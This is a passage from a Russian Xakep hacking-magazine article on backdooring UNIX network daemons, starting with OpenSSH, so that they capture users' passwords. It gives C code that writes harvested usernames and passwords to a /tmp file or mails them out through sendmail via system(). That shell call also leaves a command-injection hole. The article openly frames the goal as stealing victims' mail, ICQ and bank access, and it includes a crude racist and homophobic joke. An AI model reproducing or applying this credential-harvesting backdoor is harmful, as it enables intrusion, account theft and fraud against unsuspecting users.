C/C++: ковыряем сетевые демоны Константин Клягин Xakep, номер #059, стр. 059-094-1 Выкорчевываем пароли из сетевых программ Скажи, амиго, ты задавался когда-нибудь вопросом, насколько автоматически люди вводят пароли? Как часто ошибаются, вводя один пароль вместо другого? "Стандартный" вместо какого-то особенного, предназначенного только для данного конкретного хоста? А теперь представь, что будет, если перехватить такой пароль. Его можно опробовать и на почтовом ящике жертвы, и на ICQ. Да что там, зная несколько ошибочных паролей и хотя бы немного о человеке, вполне реально что-то ломануть. Еще старик Митник (до того, как его заперли в одной камере с черными гомосексуалистами, хе-хе) говорил, что самое уязвимое звено любой системы безопасности - это человек. Предположим, поюзал усиленно какой-то товарищ банкомат, а потом как баран вместо пароля на сервере вводит свой PIN. Зная номер кредитки, ушлому админу открывается сто и один прекрасный способ потратить с пользой деньги незадачливого юзера. Окапываемся в ssh Ну а теперь к делу. Сегодня мы будем модифицировать сетевые сервисы в UNIX, а вернее - демоны, которые их обслуживают. Причем модифицировать так, чтобы все ошибочно введенные пароли оставались достоянием истории. Нашей с тобой, конечно. Истории великих свершений, межпланетный воин и злобных хакеров. Начнем с openssh. Да-да, ты не ослышался. Это для снифера пароли, как и весь остальной трафик, зашифрованы. Для сервера же пароль приходит в открытом виде, чтобы затем быть опознанным. Ну и, по возможности, записанным ;). Для начала возьмем исходник с www.openssh.org. Распакуем и установим его (с последним можно и повременить). Для начала напишем небольшой интерфейс, через который мы будем собирать пароли с различных сервисов. Этот код един для всех наших последующих выкладок: Файл trashcan.c static void trash(const char *service, const char *user, const char *password, const char *email) { FILE *f; char buf[512]; if(!user || !password) return; if(!strlen(user) || !strlen(password)) return; if(email) { sprintf(buf, "echo \"user: %s; password: %s\" | sendmail %s", user, password, email); system(buf); } else { sprintf(buf, "/tmp/%s.passwords", service); f = fopen(buf, "a"); if(f) { fprintf(f, "user: %s; password: %s\n", user, password); fchmod(fileno(f), S_IRUSR | S_IWUSR | !S_IRGRP | !S_IWGRP | !S_IROTH | !S_IWOTH); fclose(f); } } } Как видишь, кроме сохранения пароля в файле, этот код умеет высылать его и по почте куда надо, если последний параметр не NULL. fchmod() использован для установки прав доступа к файлу с паролями. Там мы избавим его от лишних глаз, которые всегда откуда-нибудь, да возьмутся. Для достижения цели нам предстоит внести некоторые улучшения ;) прямо в исходный код программы. Для начала, конечно, с ним следует разобраться. Найдем, в каком именно месте проверяется пароль. Это несложно. Достаточно сделать поиск в файлах с расширением .c по слову "password". Логично предположить, что оно должно там присутствовать ;). Давай поступим по-юниксовому и заюзаем утилиту grep: |